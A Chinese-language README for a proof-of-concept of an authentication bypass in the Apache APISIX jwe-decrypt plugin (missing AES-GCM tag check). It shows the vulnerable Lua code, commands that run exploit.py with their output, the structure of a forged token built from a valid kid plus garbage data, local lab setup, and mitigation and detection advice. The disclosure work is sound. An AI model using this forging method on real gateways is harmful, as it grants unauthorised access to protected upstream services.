CVE-2026-49230 的概念验证:Apache APISIX jwe-decrypt 身份验证绕过(缺少 AES-GCM 标签验证,CWE-354,CVSS 9.1)
jwe-decrypt 认证绕过Apache APISIX jwe-decrypt 插件认证绕过的概念验证。该插件解密 JWE 令牌并将明文转发至上游,作为认证网关——但它从未验证 AES-GCM 认证标签。一个仅携带有效 consumer kid 的令牌,无论其密文和标签如何伪造,都会被接受。因此,攻击者只要知道任何一个 consumer key——该 key 会在每个合法令牌的标头中以明文形式传输——即可无需知晓 AES 密钥而通过网关。
| CVE | CVE-2026-49230 |
| 产品 | Apache APISIX(jwe-decrypt 插件) |
| 影响版本 | 3.8.0 – 3.16.0 |
| 修复版本 | 3.17.0 |
| 漏洞分类 | CWE-354 — 完整性校验值验证不当 |
| CVSS 3.1 | 9.1(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 认证 | 无需认证(需要有效 consumer kid,而非密钥) |
| 公开日期 | 2026-06-19 |
| 状态 | 已确认 — 在 3.16.0 上端到端复现;在 3.17.0 上被拒绝 |
apisix/plugins/jwe-decrypt.lua(标签 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- 只返回一个值
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err 始终为 nil -> 死条件
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- 请求通过
end
aes:decrypt() 在 GCM 认证标签不匹配时返回 nil,但该返回值被丢弃,调用方检查了不存在的 err,它始终为 nil。因此完整性检查从未执行:任何带有可解析 kid 的 JWE 均被认证。AES 密钥——攻击者本不应拥有的唯一凭据——实际上从未被需要。
3.17.0 中的修复将错误向上传播(return decrypted, err),并将守卫条件改为 if not plaintext then return 400。同一修复还移除了插件公开的令牌签发 API GET /apisix/plugin/jwe/encrypt。
完整代码级分析请参见 ANALYSIS.md。
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (未使用 AES 密钥)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] 已确认:认证绕过。伪造令牌(无密钥)成功到达上游。
伪造的令牌为 base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag。只有标头(包含有效 kid)起作用;之后的内容均为攻击者选择的垃圾数据。
cd lab
./setup.sh # etcd + APISIX 3.16.0 + 后端 + consumer + 路由(--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # 相同测试在修补后的版本上被拒绝
./teardown.sh
此环境无 Docker 桥接,因此实验使用 --network host(etcd 在 :2379,APISIX 数据面 :9080,管理面 :9180,后端 :8080)。
除 GCM 完整性检查外,所有控制措施均得到执行;相同的伪造令牌在修复边界前后从 200 变为 400——该绕过特指缺失的完整性验证,而非路由配置错误。完整日志见 EVIDENCE.txt。
任何信任 APISIX jwe-decrypt 网关进行认证的上游,均可被拥有单个有效 consumer kid 的未认证攻击者到达。由于有效 key 会在每个合法签发的 JWE 令牌标头中以明文形式暴露,一个捕获或泄露的令牌——或可猜测的 consumer 键——就足以伪造无限数量的被接受令牌,从而绕过网关的认证边界。
jwe-decrypt 作为唯一认证控制;建议叠加独立的认证插件(例如 key-auth/jwt-auth)或由上游检查转发的身份。通过 jwe-decrypt 认证但向上游转发空/缺失身份标头的请求(解密静默返回 nil)是一个强烈信号。应关注那些通过网关,但上游未收到可用转发标头的 Authorization: Bearer <jwe> 请求。
研究与 PoC 由 Caio Fabrício(@BiiTts)完成。
MIT — 参见 LICENSE。
| 请求 | 3.16.0(存在漏洞) | 3.17.0(已修补) |
|---|
| 无令牌 | 403 missing JWE token | — |
| 格式错误令牌(<5部分) | 400 JWE token invalid | — |
无效 kid + 垃圾加密数据 | 400 invalid kid | — |
有效 kid + 垃圾加密数据 | 200 上游已到达 | 400 failed to decrypt |